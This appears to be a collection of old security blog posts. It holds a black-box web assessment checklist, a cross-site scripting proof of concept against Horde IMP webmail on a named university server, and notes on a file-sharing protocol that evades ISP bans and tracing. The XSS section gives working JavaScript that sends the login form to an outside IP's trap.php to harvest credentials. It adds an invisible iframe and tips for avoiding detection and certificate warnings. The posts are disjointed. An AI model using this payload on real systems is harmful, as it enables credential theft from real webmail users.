There are several things we gonna check on building a secure web page. Assumed that the assessment is done on black box. Here we included some steps and procedures for a simple analysis on a web page. The following is from 2010, it take no reference from SANS and OWASP’s checklist, but it contains what comes up my mind at the moment I post.
Check the machine location and route. Is it only accessible through internal network or publicly reachable (Exclude mainland)? Is it behind a low balancer and firewall? Is it located on a distributed network or member of the cloud? Any fingerprint from whois/netcraft?
Check the machine type. Is there any other services running beside port 80 and 443? Scanner like nmap/nessus may help. What OS and server is the machine running? Apache/IIS/WebSphere/Tomcat…? What version is it?
Check the purpose of the web server. Is it a dynamic website with user involvement? Is there a database behind? What version will the database properly be, according to the httpd server? MySQL/Oracle/DB2/… Say if it is running apache most likely it work with LAMP. And if windows is the host, it may have IIS, ASP, Access, IIS database manager… or still WAMP. Will this server further connect to other internal computer for retrieving contents? What are the host properly behind? (You may know it from jobsdb or make a phone call to their datacenter 🙂
Check vulnerable third party (close /open source) code. Do they use 3rd party code in their web server? How are they vulnerable? Do they store those code on their own server or ask your client browser to connect to them? If the client’s DNS is poisoned and retrieve third party codes from badguys, will Charlie say thats really hurt? Is there any dynamic links to other page contents which can be polluted? e.g. Email server may execute contents from sender, Sammy worm move around on MySpace.
Check Client side code. Will the client side expose any information that they don’t want to disclose to you? Any keywords like test, fix, password and comments? Any server code exposed on the client side?
Check client side injection. Is there any known injections can be done on client side? XSS/TAG injection/… Can they bypass server and client side filtering by changing encoding method?
Check server side injection. Is there any known injections / vulnerability exist on the server side? (Blind) SQL injection / BOF / … Can we further bypass the server side defense mechanism? HPP on web application firewall? Buffer overflow on HTMLEntities?
Check cross domain issue. Can a CSRF attack be launched on that site? Any crossdomain.xml file? Do they accept XHR/XDR request from third party site? Do they check origin header / referrer header?
Do they aware/care their site being cloaking by other domain? Any risk if someone rewrap their contents? Who cares about clickJacking?
Check Design / implementation flaw. Can a normal user escalate their privilege by tampering request parameter / Obtaining next session ID / manipulate their cookies / … Any broken page that expose server information or functions not working?
For a penetration test, most checking procedures are standardized and routine. Don’t you ever feel tired by typing nmap, Nessus, or Saint by your own hand? Are you still feeling safe and rational to type ‘CD’ a thousand times to change directory to manage your clients? Even if you upgraded yourself proudly and start using some funny GUI interface from Nexpose or Tenable, you will still suffer from managing them manually. Those automated tools will no longer helpful or customizable when you meet an standard crappy IPS that blocks typical scanning.
Manual assessment is your own value position to distinguish yourself from others in terms of skills, knowledge and speed! But the term “manual” are often over used by companies. It doesn’t mean you have to spend your time and effort to keep typing ls and cd on the keyboards with your bloody hand but your mental power to think of an alternate route to penetrate into the system. Here is a handy script I written for myself to save my time, make a penetration test in a more organized manner and help you focus on a real hacking but not typing.
 With this script, you can create your client folder (when not exist), make standard directories to store scanning results, findings, ip list and etc by just typing:
These days we tried to find some vulnerability in webmail.ie.cuhk.edu.hk. And we found that it consist of xss vulnerability for us to spoof the same webmail address with injection in URL. It is already an old issue mentioned back to year 2006 in version 2 of Horde, however we come back to the xss injection again in version 4.1.3.
The most updated version of horde IMP is: 4.2.x with one following major security updated had already fix the problem by implementation of filtering HTML entities in URL input:
As the horde server had encountered several url injection problems, we made a list of proof of concepts as follow. Although all of the url are easy be covered by normal user, it’s work very well combined with social network applications:
var tds = document.body.getElementsByTagName('td');
for (var i = 0; i < tds.length; i%2B%2B){ //%2B is "+" which should be encoded to pass the URL filter.
if (tds[i].className == "notice"){
tds[i].parentNode.innerHTML = "";
}
}
Override the submit button at create a hidden form:
function submit_login(e){
if (typeof e != 'undefined'%26%26!enter_key_trap(e)) { //%26 is "&" must be encoded to pass URL filter
return;
}
if(document.imp_login.imapuser.value == "") {
document.imp_login.imapuser.focus();
return false;
}
else if (document.imp_login.pass.value=="") {
document.imp_login.pass.focus();
return false;
}
else {
var origAction=document.imp_login.action;
document.imp_login.loginButton.disabled =true;
document.imp_login.action="http://137.189.97.46/trap.php"; //We changed the action from original return.php to our site (trap.php)
document.imp_login.submit();
return true;
}
}
Add the victim site’s URL to the post request: (Since our target is horde version 4.1.x without modification but not single site)
var x = document.imp_login;
input = document.createElement("input");
input.setAttribute("type", "hidden");
input.setAttribute("name", "info" );
input.setAttribute("value", "" );
x.appendChild(input);
document.imp_login.info.value=window.location.host;
Add invisible form and submit the form when user press “submit”:
Add invisible iframe and submit the iframe when user press “submit”:
<IFRAME NAME="trap" src="https://137.189.97.46/trap.php" WIDTH="0" HIEGHT="0" FRAMEBORDER="0"></IFRAME>
document.trap.target = 'trap';
//Consturct the form for submitting the login credentials.
document.trap.submit();
To minimize the impact of those actions:
–Submit two post request one after one.
–Construct a fake page which will return to the legitimate page after the user name and password is being captured (window.location=document.referrer or submit the post form to legitimate site again)
–Register a cert from trusted CA and user will post their form to us without warnings.
— It have warning from https to http.
–When we have two posts request to two sites (bad sites and legitimate sites) in one action,
the bad site request will only succeed if we own a certs from well-known CA or user had already trusted our cert before.
— It have warning from https to other untrusted https.
— Another way to fake users to accept our cert is to include an invisible iframe and convince user to trust our certs when they visit the legitimate page. Such that the request will be pass to our site.
To mitigate this vulnerability, horde had already done updates to filtering to HTML entities in URL address. On the other hand it is also the browser responsibility to eliminate some non-reasonable characters like “”. As it is already been tagged as UNSAFE in RFC1738 date back to 1994 from T. Berners-Lee. Anyway no one may notice that after 15 years had pass……
A secure BT is needed. we needed ssh to replace telnet.
We also needed BTS to replace BT 🙂
Goal:
1. Stop packet injection from “legal” party
Checksum is included by sender, if anyone sending packets which is difference from others ban this user
Maintain a ban user list which is constantly updated by bt software
Receive same material two times
2. Stop “legal” party to trace out user
Onion routing
Send packet randomly such that having no evidence for him to upload
this two method is perfect match
3. Stop banned by ISP
Changing port.
Changing rate behavior